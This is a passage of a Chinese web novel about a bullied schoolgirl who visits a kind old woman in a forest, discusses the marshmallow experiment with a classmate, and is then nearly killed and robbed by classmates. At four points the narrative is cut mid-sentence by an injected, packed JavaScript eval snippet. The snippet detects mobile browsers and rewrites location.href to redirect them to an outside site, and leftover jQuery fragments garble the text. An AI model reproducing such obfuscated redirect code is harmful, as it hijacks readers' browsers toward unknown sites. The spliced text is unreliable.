秋奶奶问得太直接,导致我一下子没反应过来。我犹豫了一下,决定按照事实说话,点了下头。 秋奶奶一点都不生气,只是爽快地笑了几声。 “我就知道他们一定会这么传。无所谓了,反正我也不会和他们打交道,能来看我的人……来,吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317351|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个苹果。” 茶几上摆着不少水果,种类很多,秋奶奶拿了一个苹果给我。进来的时候我也注意到了,虽然松树和银杏树居多,但也有不少的果树。 我的好奇心瞬间被提上来,却又不好意思发问,低着头静静啃苹果。苹果皮上挂有水珠,很干净,里面是糖心的,很甜。 “这里什么都没有,偏生各类果树不少。人老了,慢慢的也摘不着咯……其实啊,外面的流言也不是全错。我不是老妖婆,不过这座森林或许真的有魔力也说不准哟。你瞧,这儿有用于搭建房屋的枯木,用于充饥的果蔬,关键是它连蛇虫鼠蚁都没有,简直是想把人心甘情愿的困死在这里。整个森林没有威胁,同时也丧失了生机。除了风之外,几乎没有任何声音。这里是世界的脓包,违反科学常理的一处异地……” “请别这样说,秋奶奶,我……我很喜欢这里。” “是吗?我年轻的时候也跟你一样,觉得这里非常美妙,住在这里就像古时候的高人。”秋奶奶似乎想到了什么,和蔼地笑着摇头,“可时过境迁,我渐渐改变了想法。这座森林太安静,也太危险。” “为什么这么说?” “孩子,你采过蘑菇吗?” “啊?” “什么样的蘑菇不能吃?” “长得漂亮,色彩鲜艳的。” “所有人都知道越漂亮的蘑菇毒性越大,现在几乎没有人会去采摘外表艳丽的蘑菇了,因为它们几乎都被冠上‘有毒’的标签。这座墨绿和金黄色分割的森林里也有很多蘑菇,但外貌丑陋的有剧毒,反而鲜艳亮丽的则味美又无毒。” “啊?所以它在以人们的刻板印象杀人?” 秋奶奶似是被我逗乐了,放声大笑起来,“没这回事。这里没有致命的毒,所谓蘑菇圈套,只不过是森林不想让人发现秘密的一种手段罢了。” “森林还有秘密呀?” “当然有了,不过不能告诉夕夕你哟!” 我没打算继续追问,那样太惹人嫌了,我不想让秋奶奶对我留下不好的回忆。 秋奶奶没让空气冷下来,转换了话题继续和我说话。 “还有一件有趣的事,你想听吗?” “当然想。” “以前我养了一群狗,忽然有一天,有个小姑娘很突发奇想送了我一只猫。我不知道猫喜欢什么,所以喂那只猫吃狗粮,让它住狗窝,衣食住行都按照狗的标准来进行。后来它真的学会了狗叫。可是它还保留了很多猫的习性,于是我继续让它和狗一起生活。最后它变得和狗除样子不同之外,其余都一模一样,八成连它自己都认为自己是一条狗了。哈哈,你说是不是很有趣?” 我点头说是,总觉得秋奶奶的话不只字面意思那么简单,可惜我听不懂那层含义,在记忆里翻了所有阅读理解的答题技巧,竟也没有一条可以破译出其中的奥秘。 19.永眠森林2 后来我们一直聊天,内容都简单易懂,不再蕴藏深意。 秋奶奶家里有一个欧式古典挂钟,那挂钟的分针已经扫过了四分之一个圆,我从来没有发现时间过的这么快。 我和秋奶奶聊得很投机,仿佛只有这种时候才能真正忘却生活中的不如意,真的像是魔法一样。 森林是一个天然的屏障,把我和外界隔绝开来。虽然不能保证几十年后还能初心不改,但是对于现在的我而言,这绝对是幻想中的福地。 秋奶奶说时代变迁太快,难得进来的人几乎没办法和她交谈,就像对待原始部落的人,觉得她太落后。好不容易又来了个人,秋奶奶还以为会像之前一样,准备直接把我送出森林,没想到居然还能聊上几句。 从小到大,兴趣类的活动都和我无缘,唯一能涨点知识的地方就是在学校和书本,然而面对有钱人家花重金砸出来的学霸,还是显得孤陋寡闻又上不得台面。 但在秋奶奶这里不同,我不用假装对加西亚·马尔斯克很感兴趣;不用不懂装懂地说熬夜才能背下来的化学方程式很简单;更不用为搞不懂哲学作品的内涵而苦恼。 在深入聊天之后,我发现秋奶奶其实是一个很有学问的人。在我们聊到东方时,她能说出印度阶级分化的弊端,还有穆|斯|林首领领导印尼人民打败了葡萄牙殖民者的舰队,收复了巽达加拉巴,并改名为雅加尔达的历史事件。聊到西方时,秋奶奶还能顺带讲出一大堆为了抢夺耶路撒冷而引发的矛盾。 秋奶奶真的很有学问,只是从来没有人愿意倾听。这也侧面证明了秋奶奶的学问并不是她用于炫耀的资本,而单纯是用来陶冶情操的素衣清茶。 我已经进来了将近五十分钟,这个时间足够老师讲完几个课时再加上拖堂。虽然不太情愿,但我还是提出让秋奶奶早些休息,我是时候该告辞了。 秋奶奶叫住了站起身来的我,轻轻把我拉回沙发上。 “刚才聊了好久,我一直没敢问你,但是现在你要走了,我还是决定要问你一个问题。” “您请说。” 秋奶奶放开我的手,脸上仍旧挂着和蔼的笑容,“夕夕刚进来时好像就不开心,我听到你的哭声了。奶奶想知道发生了什么。” 所有黑白的记忆,所有不属于森林和秋奶奶的记忆又钻入脑袋。秋奶奶帮我打破了魔咒。 “我……我……” 舌头被绕成无数个死结,无论如何都无法打开。我很想说出来,可是一只大手把我的所有话语和感情堵在喉咙里,连带着氧气也无法通过。 尽管我没有被呛到,秋奶奶还是递给我一杯水。 “别着急,慢慢说……或者,夕夕你要是不想说的话,要是这样能让你好受一点,就别说了。” 看着秋奶奶担心的神色,我有点慌乱。不能继续烂在肚子里了,我一定要说的。秋奶奶是除常柳之外唯一一个问我感受的人,这可能是我要倾倒苦水的最后机会,不会再有第二次机会了,我没有勇气再去期待第二次了。 我按实说了全部经过,既没有添油加醋,也没有含糊其辞。我故意避开所有语言助词,用平淡的语气说了楚小悟的死、家庭的处境和学校的经历。最后一个字的尾音消失,我的脸上又沾满了咸咸的液体。 秋奶奶坐来我旁边,静静地抱住我。 不要任何语言,也不要任何物件,单是这样一个动作的安慰就足以让我满足——我的诉求从来都是这个。只是从来没有人愿意听,更没有人愿意给。 木屋外面只剩寒风,而木屋里面只剩一点温度。 秋奶奶将我们分离开。 时间分明只过去了一分多钟,我却觉得像是闪过了一整个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323988|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪,像从恐龙灭绝到高科技时代这样漫长,又像蜻蜓点水般短暂。我突然想取下墙上钟表的电池,仿佛只要时钟不走,世界就可以停止转动——这样幼稚的想法是我源于灵魂深处的挣扎。 秋奶奶不知道从哪里拿出一个正红色的迷你布袋子,我这样拙劣的眼睛也能一眼看出这是件做工精致的工艺品。 “夕夕,这是我送给你的礼物。这个锦囊是我的护身符,我现在把它送给你。” 她把这个小巧精致的锦囊塞到我手里,合拢我的手指,让这件工艺品封死在我的手心。虽然它不一定能卖出多少钱,但在我心里它是无价的宝贝。 我向秋奶奶道谢,她说不用客气,凑到我耳边说:“锦囊里有一个秘密武器,如果实在受不住压力,觉得自己被压榨到极限的话,就把它放在手心,它会帮你解除困境。但是夕夕你一定记住,要慎重思考之后再使用,因为它会让你付出一定的代价。” 寂静辽阔的森林里,我不知道秋奶奶为什么要悄悄地说。尽管一切就像在童话故事里取得的宝藏一样虚幻飘渺,但秋奶奶的心意是一定要领的,因为她是继常柳之后,我在世上唯一能感受到温度的人。 时间已经很晚了,我不想耽误秋奶奶的休息,告辞之后就离开了。在我刚踏出房门的时候,秋奶奶站起来说:“夕夕,其实我是骗你的,我从来都没有养过狗。” 我停住了脚步,秋奶奶继续道:“当时那个小姑娘坐在小河边休息,无意间看到了掉进小河里的小猫,一时心软把它救了起来。可是那只猫被救起来之后就越发奇怪,竟然不停模仿狗的动作和习性。后来那个小姑娘告诉我,岸边有几条恶犬,它是被恶犬逼迫进水里的,所以它的一切反常行为其实都是为了自我保护。” 我脑子里的某根神经被撼动了,麻木地关上屋门,朝着来时的方向回去。 20.永眠森林2 *** 人们和太阳都还在睡觉,幸好路灯没有去休息,也算是给我的寂寥一个虚无的慰籍。 我坐在森林边缘的花台上,静静地望着像大海一样的夜空,对那星星点点的幕布看得出神。 锦囊我就贴身藏着,藏得很安全,即使被拳打脚踢也不会掉出来。 我有家里的钥匙,可现在还不能回去。爸妈喜欢熬夜,听到我回家肯定会不高兴,不如就坐在这里,听听空气流动的声音也极妙。 我把手摊开,想回忆秋奶奶带给我的温暖。 这时,像是砸牛顿的苹果一样,一片树叶砸到我的手里。 之前的我是有多么迟钝啊!当树叶垂直飘落于掌心,我才猛然惊觉,原来我所在之处竟是风也嫌弃的荒凉。我怎么能去羡慕叶无歆的一切呢?怎么能去期待宋言言的维护呢?我们本来就处在地球的两极,是花费一生去追赶也无法相遇的距离。 这些话我是悄悄在心里说的,不过好像被嘴巴复述了一遍。 身后传来了并不熟悉,却也不算陌生的声音。 “你说错了。” 叶无歆像是从森林里钻出来的——这是夸张的说法,因为她不可能进去,不想死的人都不会进入谣言满天的森林里,面对未知的恐惧。 她很悠闲地在我旁边坐下。 “坐飞机从南极点到北极点,大约只需要二十五个小时。” 我知道她是想说我们的距离没有那么夸张,可是她没有否定我们的位置,只是计算了距离和前往方式。 “是啊……可是你亲自买过机票吗?你乘坐私人飞机的次数多,还是乘坐头等舱的次数多?” “有人针对你的时候,你一声不吭,现在我试图站在你的角度思考问题,你却下意识反驳,为什么呢?” “我……”也不知道。 她不说话了。 我不知道她为什么会出现在这里,当然我也不想去问。我不了解她,她更不理解我。游戏的赞助商获得了游戏攻略,很容易就能通关,但几乎没接触过电子产品的人连摸清游戏规则都要耗费大量心血。 叶无歆坐着看天,像是在等我先开口。 我想到出门时恍惚看到的黑影,虽然并不觉得那是她,但至少找到了一个话题。 “我之前有看到有一个黑影跑过去了,是你吗?” “我不擅长跑步。”她回答完,突然转移话题问:“你进去了,里面有什么?” 我明白她一定是看到了我出来的场景才会这么问。我对叶无歆有好感,没打算瞒她,但是这种话说了也不会有人相信的。 “有一位和蔼的老奶奶,她人很好,还送了我一个礼物。” “哦……我也想去看看。”她看起来一点都不怕森林,说着就要站起来。我匆忙拦住她。 “你不能去!” 叶无歆很奇怪地问我:“为什么?” “因……因为太晚了,奶奶已经休息了。” 这是托词,真正阻止她的原因是我的自私在作祟。叶无歆太优秀了,所有人都喜欢她,要是秋奶奶见了她,说不定就会丧失对我的喜爱。她已经有全世界了,就把秋奶奶让给我吧。 叶无歆应该是相信了我的说法,有些遗憾地坐回来。 她迟迟焊在这里不愿意走,我尝试跟她说说话:“你为什么不来上学成绩还那么好?” “因为有校长给我补课啊。”她的回答很轻松。 我心想这也是托词,是叶无歆在掩盖她天生聪慧的托词。像我这种人,即便是让牛顿、爱因斯坦、麦克斯韦一起教我,也没有办法把物理学好。 往常我遇到她时,她周身总是散发着一种冰冷的气息,和现在完全不同,现在的她变成了电视里最温柔迷人的校花。我对她说:“我很羡慕你……有不少人这样想。不过你不会知道我们这样的人在想什么,苦恼什么,你不会懂的。” “哦?” 不知道为什么,大家都默认叶无歆有一种力量——一种近乎魔幻的力量。她总是能洞察一切,从无比微小的细节看穿一个人埋藏于心底的想法。很危险,也很厉害。像大型魔术表演,只有她自己知道机关在哪。有人这是觉得是读心术,我则认为她的本事比那更厉害。 虽说如此,让一个与我天差地别的人看透我还是太难,毕竟连我都看不透自己。 “我们是完全不一样的人。” “那又怎样?这又不是什么很了不起的问题。”她笑了,丝毫不认为这有什么问题。 我没想到她会这么问,半开玩笑地说:“我以为你会说,任何五官健全的人必定知道他不能保存秘密。如果他的嘴唇紧闭,那他的指尖会说话,甚至他身上的每个毛孔都会背叛他……” “弗洛伊德的话。” “嗯。” “哈哈,你真有意思。” “叶无歆,你确实很厉害,但我们终究不同。你听过棉花糖实验吗?妈妈以前总会用那个实验教育我,而对楚乐和小悟则是尽量满足。” 她没有反应,我自顾自解释起来。 “实验是这样,20世纪70年代,美国有一位著名的心理学家挑选了一些年仅四岁的孩子参与实验。他每次让一个孩子单独呆在一个小房间里,房间里的桌子上放置着一个托盘,里面有一个非常诱人的棉花糖。大人会告诉孩子,自己要离开一会儿,如果他想在这个期间吃掉桌子上的棉花糖,只需要按一下桌子上的铃铛,但如果他能忍住暂时不吃,十五分钟以后,他会再获得一颗棉花糖*。” 叶无歆一直没有出声,安安静静地听我讲述。 “有些孩子等大人一离开就把棉花糖吃了;有些孩子坚持了三分钟左右,还是选择放弃;有些孩子用各种方法转移自己的注意力,试图抵挡诱惑;有些孩子连铃都没按就吃掉了棉花糖;而有些孩子比较能忍,等待了十五分钟,获得了两颗棉花糖。 “数十年之后,那位心理学家调查了当年参加实验的孩子,发现在实验中能抵御诱惑的孩子自控力、心理调节能力什么的都比较强,并且更值得他人信赖。就连他们在SAT的考试成绩也普遍比同龄人更高,职业发展更为成功。 “妈妈不知道说了多少次这个实验,就为了教会我‘延时满足’,不要嫉妒哥哥弟弟的优越生活,并同时学会主动让出我的一切给他们,因为总有一天,我也会在其他地方获得这些不重要的物质——这就是我生活中的一个小例子,是不是和你的生活很不一样?” 叶无歆像是听到什么有意思的话,有些不认同的笑出声来:“哈哈,你是被这个不靠谱的实验骗了这么多年,还是被自己骗了这么多年?” “不管你怎么笑我,这个实验都很有名,不是吗?” “可是它早就被推翻了。” “什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330599|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你当真不知道那些孩子是从哪里找来的吗?” “这和实验的结果有关系吗?” “米歇尔当年选择参与实验的孩子只有不到90名,而且这些孩子全都来自斯坦福大学校园里的幼儿园,他们的父母基本上都是斯坦福大学的教职员。这些社会精英,高级知识分子的孩子能差到哪里去呢? “2013年,有人重新做了一次实验。那次实验中,他们对一半的孩子违背了承诺,那一半的孩子虽然等待了15分钟,却没有拿到第二颗棉花糖。经孩子们的判断,参与大人已经不可信了,于是他们开始转变态度,等待的时间还不足另一半孩子的四分之一。你瞧,只是因为大人的欺骗,米歇尔眼中优秀的好孩子马上就变成了坏孩子。 “后来又有三位研究者选取900名孩子又一次做了实验。这次他们充分考虑了孩子父母的背景,无论什么阶层的人都有,尽可能做到多元化。结果显示,孩子的未来和能否抵住棉花糖的诱惑没有半点关系。 “富人的孩子更愿意等待,是因为他们有更多资源可以用来满足孩子的需求,对孩子更讲诚信,拥有更平等的价值观。这让孩子对未来有更稳定的预期,并对外部环境更加有控制感。而穷人的孩子之所以这么急不可耐,只是因为对于他们来说,等待的风险要远远大于收益。” 听完叶无歆的解释,我突然觉得这个世界真是浮夸,被大肆宣扬的答案竟然与真相背道而驰。这就像一个贫穷的孩子获得了一根雪糕,孩子的妈妈告诉他,某位专家说了,雪糕放在太阳底下晒一晒才更好吃。孩子因为听话就照做了。可当他再次见到这根雪糕时,它已经消失不见了,唯独剩下不那根能食用的木头签子。孩子相信妈妈不是有意害他,但是这根来之不易的雪糕,终究还是化了。 “为什么错误的结果被传的沸沸扬扬,而相对正确的那个结果却销声匿迹了呢?” “因为真实的例子可以增加说服力,而且对于很多人来说,适当的隐瞒并不等于欺骗。” “要是能早点知道就好了。”我小声呢喃。 话是这么说,可是知道又能如何呢?他们的想法不会变的。就算没有棉花糖实验,也还会有棒棒糖实验,爸妈愿意找这套说辞来说服我,已经算是很用心了。 不知道叶无歆从我的表情上读出了什么,她说:“我有一个朋友,他是非常优秀的心理学顾问,有机会可以带你去见见他。不过就算是再厉害的心理学家,也没有办法在只接触孩子的情况下,解决一个家庭的问题。” 叶无歆说完就迅速转移了话题。不知道她从哪里拿出了一张圆形卡纸片,上面印着一个不太高兴的卡通小丑。“你不开心的样子和他一样。”说着,她把纸片翻到了背面,这一面的小丑做着标准的咧嘴笑表情,光是看起来就很开心。 “还是笑起来好看。” 我没忍住笑了起来,叶无歆把小丑放到我手心里。夜晚不断吞没着我的笑声,又吐出阵阵暖风。这感觉像是开春了,或许是我希望早些开春。 我和叶无歆聊到忘记时间,恍惚看到地平线上的一束光。不愧是叶无歆,她真的能和所有人聊到畅快,即便对面是我。 心里幸福的快要溢出来。今天真是幸运,遇见了秋奶奶,还能和叶无歆说上话,只希望这一切不是在做梦才好。 回到家里,爸妈和哥哥都睡了。我没敢开灯,摸黑走上阁楼。 21.永眠森林3 3 因为昨天夜里通宵背书,导致我一上午都打不起精神。 中午我一个人去食堂打饭,看了眼牛排饭的字样又走开,一路又绕过饮料区和甜点区,最终还是决定买快餐。 打饭的阿姨问我:“还是两个素菜,对吧?” 我点点头,回答:“嗯,麻烦您了。” 打完饭,刚准备坐下。 “楚夕夕,我找你有事,过来一下。” 又是褚兰,真麻烦——我这样想着,放下饭盒走出去。 她走出食堂站了一会,哼着歌,没有开口的打算。 我转身离开,她也不加阻拦。 不用回去也知道,饭里肯定加了东西。无非是想看我挨饿,已经是这个学期第三次了,毫无新意的恶作剧。 打开饭盒,米饭上都是红红的辣椒酱。 比上次撒盐好些,不用尝就可以看出来。 我把饭菜倒掉时,食堂阿姨恶狠狠地瞪着我。 路过正在打闹的男同学身旁,又有人叫住我。 回头一看,手拿钢笔的同班男同学用力一甩,墨汁飞溅到我的脸上。 男同学很敷衍地说:“哎呀,拔笔盖的时候太用力了,不小心溅到你脸上,不好意思哈。” 整段话我只听到“哎呀”两字,剩余的恐怕连耳朵都觉得虚伪,懒得接收。 昨天过后,我就忘记了该怎么生气,不清这种魔力是源自秋奶奶还是叶无歆。 没有必要的,生气太累了,一点都不值得。叶无歆说她是个懒人,不参与这些麻烦事儿不是因为清高,而是没这闲心。 这次我听懂了,不套用公式也能听懂。 叶无歆是想说每个人都在出演自己的电影,如果有人把你从你自己的世界里拉出来,强行塞入他们的世界,那么你就从根本上失去了主动权。当你按照他们的剧本来演,他们就会把你当成固定嘉宾,从而得寸进尺。 现在他们给我的剧本的是委屈沮丧,我偏要云淡风轻。 我抬起头去卫生间清洗,感觉空气都变得清新起来。 端着洗脸盆的姜小维转头想从卫生间里出来,猛地撞到我身上,水把我抱个满怀。 “怎么哪儿都有你啊?”姜小维身上没有一滴水,却非常生气。相比之下,反倒是全身湿透的我更冷静些。 我问她:“大中午的,你接这么多水做什么?” “多吗?你惯是会颠倒黑白的,才半盆而已吧。我想洗把脸不行吗?厕所里这么多人,我才不想和她们挤,还没出去就被你给撞撒了,我还没怪你呢,你倒是先说起我来了。” “宿舍里应该有独立卫生间。” “舍友在用啊。反正这里不远,走两步也没事,哪想到你会过来。”小维不屑地端详着我,“还管我的闲事,你脸都变成黑的了,还不赶紧去洗,恶心死了。” 我听出来她话语中的意思不是说墨水恶心,而是说看到我这张脸觉得恶心。看来她不想听我解释,认定我是在狡辩。如此这般,让误会继续也无妨。 不想再理她,我朝洗手池走去。 方才闹得动静很大,有不少人过来围观。我看到两个脑袋的间隙里,宋言言想过来,却被叶无歆拉住。叶无歆挡在言言前面,不是很情愿地拨开人群,朝我走来。 突然,一只脚伸过来将我绊倒,我压在另外一只脚的脚背上。 前者属于叶无歆,后者属于姜小维。 我忍受疼痛,努力想站起来时,意外地发现我脸的正前端有一根手指长的钉子,它正闪烁着银光无声的插在地砖的缝隙里。我脸上有墨水和自来水,没有办法看清地面,如果叶无歆没有提前将我绊倒,恐怕我早已头破血流。 姜小维居然想当众杀我?! 这下就算是神仙也没有办法冷静。我刚刚差点死在这里,差点被戳穿眼睛、鼻子、嘴巴、或是头部的任何一个部位而丧命。 原来这出戏如此漫长,演员如此之多,剧情是从褚兰把我叫出去到在地上插钉子。这出没有酒席的鸿门宴想取走我的性命!他们想声东击西,让我以为只是一个普通的恶作剧。这出戏的主谋是姜小维和褚兰,而帮凶则是在场所有不愿发声的优秀学生。这一切,我到现在才明白。 褚兰见计谋没有得逞,不便继续行动,遂大声说:“本来是想过来洗个手的,看来现在是不行咯!对了,地上全都是水,这可不行。楚夕夕,是你撞的人,总不好叫人家来收拾吧?”接着,她转向围观的众人道:“都回去吧,没什么好看的,意外而已。” 别人或许没看见,但姜小维肯定知道是叶无歆救的我。临走之前,她把眼神里愤怒的火扔到叶无歆身上。 人潮渐渐被推下去,只剩下我一人无比狼狈地站在原地。 我再也无法忍耐,靠在厕所的墙壁上抽泣。寒风透过小窗子钻进来,冻得我忍不住直打寒颤。 因为寒冷,我下意识把手伸进腰腹两侧湿透了的口袋,迷糊间摸到一个小巧的布袋子,瞬间清醒,立刻把它拿出来看看有没有弄湿。 ——果然没有幸免于难啊。 我双手合拢攥紧它,感受到来自秋奶奶双手的温度,此刻就仿佛身处银杏林里的小木屋一样温暖,这比任何自发热的电器都来得美妙。 我顺着墙砖滑坐到地上,手脚蜷缩着抱住自己——这副场景,常柳比我熟悉得多。可惜她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336480|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经死了,外界却以为她只是重伤还在抢救。 消息没有铺天盖地,而是被大多数人极具默契地压了下来。她以性命作的赌局成果微乎其微,至少没有惠及到我。 现在应该已经到了实在忍受不住的时候,所谓的付出代价想必不会更糟。抱着绝无仅有的微小期待,我轻轻拉开锦囊。 一片银杏叶? 锦囊里只有一片银杏叶?! 秋奶奶是想告诉我她一直陪在我身边吗? 这算是礼轻情意重,把温暖都寄托在叶子里了。是份好礼物,但有意义却没作用。这就跟看心理医生一样,尽管当时觉得好点儿了,可一回到现实,发现事情还在继续,甚至比之前更糟,本就脆弱的心情一下子跌落谷底,之前的开导也就变成了螳臂当车。最后只能忍痛孵出一个微笑,含泪穿过荆棘从。 想到秋奶奶说把它放在手心,我下意识按她说的去做,刚把银杏叶放好,就差点被自己的幼稚逗笑。有魔力的不是森林,而是秋奶奶。以人心温暖人心的魔力,森林是学不会的。 我靠在墙脚许久不动,奇怪的是也没人进来。姜小维泼到我身上的水还没干,不过地上的水却都自己流进排水口,几乎干透了,这样就不用再去处理,勉强算是因祸得福。 物极必反也好,否极泰来也罢,总之当一个人掉到最低谷之时,是没办法继续往下掉的。 不知不觉看到外面同学由走变成跑的步伐才意识到快要上课了。我想把银杏叶放回锦囊,但是惊奇地发现叶柄粘在手上,不对,与其说是粘,不如说是长在手上,力去拿时还能感受到撕扯皮肉的疼痛。 没办法,只得收好锦囊回去上课。身上的水可以解释成意外,左手上的叶子只要一直握拳就看不出来。这些都可以糊弄过去,但旷课不行,会被记过的。 匆忙跑出厕所,看到半数以上的同学都回到教室,我赶忙朝教学楼跑去。 “等一下,楚夕夕。” 好像有人在叫我的名字,我驻足回头看去,不远处的小卖部旁,叶无歆朝我走过来。 她把手里的新校服给我。 “下午第一节是音乐课,我帮你请过假了。我去请假的时候校长刚好听到,说让你先去换身衣服,下节课再跟着上就好,千万别生病了。这件校服是我的,新的,没穿过。” 我不太自然地接过来,对她说:“谢谢你。” 她没有再说话,转头走了。 透过她的背影,我仿佛看到了一团亮光。 不对,或许不是光更亮了,而是我在黑暗里陷得更深了。海底到海面的距离比地面到天空的距离要远得多,所以不是对方太过于高大,而是我过分渺小。 22.永眠森林3 *** 叶无歆一整个下午都在校长室和实验室里穿梭,我下午第二节课就回到班上了。接下来还有两节英语课,还好大家都相安无事,没人惹出事端。 今天是周五,放学时,姜小维在校外的人行道上拦住我。这次的恨意展露无遗,为数不多的一点伪善荡然无存。 “你没死真是太可惜了,不知道被钉子刺穿脑袋有没有被推下陡坡疼。” 我没想到她居然还能摆出这样一副神情,脸上愤怒的情绪完全无法控制。 “姜小维你弄清楚,楚小悟不是我杀的!” “最好是这样。” “什么?你不是应该掌握了充足的证据,笃定我是杀人凶手才采取行动的吗?什么叫最好是这样?” “没有证据,但我就觉得是你。” 她的语气如此平淡,像是在犹豫吃苹果还是吃丑柑。 天呐,真不可思议! “还没有确定我是杀人凶手,你就要自己先变成杀人犯吗?” “闭嘴!你少来我这儿装正义的使者。” “你有没有想过杀人的后果?” “倘若你真的死在那里,也不是被我杀死的。” “你说什么?” 我的声音变得颤抖,一半是源自天生的懦弱,另一半是来源于不足十四岁的姜小维口中吐出的话。 “放辣椒酱和洒墨水顶多算是恶作剧,连校园欺凌都算不上;你身上的水,是因为你自己撞到我,跟我半毛钱关系都没有;至于你摔倒,被钉子刺破脑袋,只是因为你走路不看路,自己摔倒的,碰巧被卡在瓷砖缝隙里的钉子刺死。这一切都只能怪你运气不好,跟我有什么关系?” “是你把我绊倒的!” “当时你脸上那种表情,大家都盯着你的脸笑,谁会看到我的脚?退一万步说,当时人挤人的,谁也看不清楚状况,不小心被绊倒也很正常。反正厕所里没有监控,钉子上没有指纹,没有一样铁证可以定我的罪。再说,你不是被碍事的人给救了吗?浪费我的一番筹谋。” 我全身的汗毛都竖起来了。 姜小维,这个孩子为什么会这么可怕? “警察……警察会找出来的,他们一定会把你犯罪的证据找出来的。”我语无伦次地说着,结巴的字符和眼里的水珠暴露了我的心态,在气势上比纸片还要脆弱。 姜小维突然被点燃,声音变成扫墓时的鞭炮,整个炸开,“他们连你这个蠢货犯罪的证据都找不出来!这种蠢到家的警察,先让他们长长脑子再出来办案吧!” 我声音的支架整个塌陷了,用近乎哀求的语气问她:“小维,如果我真的不是杀死小悟的凶手呢?” “你现在说这句话没有一点分量。”她站在那里,小小的身体散发着比冬天更冷的气息。 我带着哭腔吼出一句:“姜小维,楚小悟是我亲弟弟!” 姜小维同样不甘示弱,“是,楚小悟是你弟弟,他不讨厌你,甚至还对你有过好感,可是你呢?你恨他,你嫉妒他,你甚至杀了他!” “我没有!姜小维你知道的,我胆子很小,没有勇气去杀人的。” “你杀了他,你就是杀死小悟的凶手。你很会演戏,你装的很好,你骗过了所有人,但是你骗不过我。我知道,你就是杀死我男朋友的凶手!你就是罪无可恕的犯人!” 不能继续和她说话了,否则我会疯的。 这几天我像一个泪失禁的疯子,动不动就落泪。很丢脸,但是忍不住。就像现在,我一边发疯似的疯狂摇头喊着“我没有,不是我”,一边控制不住乱飞的眼泪,像逃命般跑开。 跑着跑着,有一群人戏剧性的横堵在路中间,又是褚兰和她的一帮“兄弟”。这些人怎么这么烦? “楚夕夕,这么快又见面了,真巧啊。” “我不觉得巧,也不想见你们。” 我说完就走,可一群男女同学却围成圈将我堵住。 褚兰扒开人墙,正面对着我。 “先别着急走嘛,既然见了面,那就是有缘分。虽然你还不配成为我的目标,但我们还是不要浪费这个缘分的好。你知道我想说什么吧?我也知道你没有多少,不过有总比没有好。” “我没钱,一分都没有,求求你放我离开!” 褚兰很奇怪地笑着,用眼神示意身后的男同学将我抓住,我躲闪不及,被两个人拉住手臂按在地上。两只手毫不顾忌地在我身上搜寻,粗鲁地扯坏了我的校服拉链。 “该死的!”其中一个男同学骂道。“头儿,她身上真的一分钱都没有。按我说,我们就不该把时间浪费在她身上。”另一个男同学大笑起来,“就是说嘛,你这次也太不明智了哈。” 褚兰也不生气,只是敷衍地闹着回答:“去你的,那几个有钱的你们这群崽子敢劫?”然后轻蔑地扒开男生,自己动起手来。 “奇了怪了,乐乐这么有钱,我还真不信你一分钱都没有。你们家住的是三层的别墅,还在市中心,可谓是相当富裕了。你是他妹妹,在你们家里,你比他的血统纯正吧?来,让我瞧瞧你藏了什么好东西……” 我一边喊着“什么都没有”,一边伸手去挡褚兰的爪子。 她不顾我的阻拦,把我从头到脚都搜了个遍,最后得出一个结论——我的确什么都没有。 尽管知道了结论,她也并无收手的意思,手势逐渐从搜索变成击打。拳头比暴风雨还猛烈,全都落在看不见的地方。 周围的人像雕塑般一动不动,没有人去帮她,更不会有人为我发声。他们的眼神像刀子一样锐利,每个人的表情都仿佛是刚正救完世界的伟人,这样古怪的场景,让我联想到英语课堂上兴致勃勃观看马戏的观众,同样的兴致勃勃、同样的有理有据、同样的理所当然。 不知过了多久,褚兰终于停了下来。她像是看到了什么十分可笑的东西,大声笑起来,“楚夕夕,看到你现在的样子,我情不自禁想到了一个人,你知道是谁吗?就是你弟弟楚小悟啊!” “小悟?” “啧,楚小悟狼狈的时候也是这个样子,你们不愧是亲姐弟。”褚兰一边笑,一边从口袋里掏出一样东西,“你应该见过这个东西吧?看 